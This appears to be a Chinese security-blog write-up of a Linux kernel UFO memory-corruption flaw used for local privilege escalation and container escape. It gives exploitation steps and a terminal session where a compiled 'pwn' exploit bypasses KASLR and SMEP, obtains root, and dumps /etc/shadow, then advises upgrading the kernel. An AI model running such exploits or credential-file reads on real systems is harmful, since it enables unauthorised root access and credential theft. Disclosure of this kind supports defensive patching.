影响范围
Linux Kernel < 4.12.3
漏洞类型
本地权限提升
利用条件
影响范围应用
漏洞简介
Linux内核中的UDP碎片卸载(UFO)代码中的内存损坏问题可能导致本地特权的升级
漏洞利用
Step 1:编译POC
Step 2:复制POC到容器(实战中可以在容器中远程下载)
Step 3:测试ifconfig命令的可行性(poc.zip中是两个漏洞的结合需要执行ifconfig命令)
Step 4:执行载荷完成逃逸
Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
Usage:
user@ubuntu:~$ uname -a
Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ whoami
user
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
user@ubuntu:~$ gcc pwn.c -o pwn
user@ubuntu:~$ ./pwn
[.] starting
[.] checking distro and kernel versions
[.] kernel version \\\'4.8.0-58-generic\\\' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text: ffffffffae400000
[.] commit_creds: ffffffffae4a5d20
[.] prepare_kernel_cred: ffffffffae4a6110
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffffae40008d
[~] done, should be root now
[.] checking if we got root
[+] got r00t ^_^
root@ubuntu:/home/user# whoami
root
root@ubuntu:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/user# cat /etc/shadow
root:!:17246:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::
演示视频
安全建议
升级内核版本~
参考连接
https://capsule8.com/blog/practical-container-escape-exercise/
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34229.html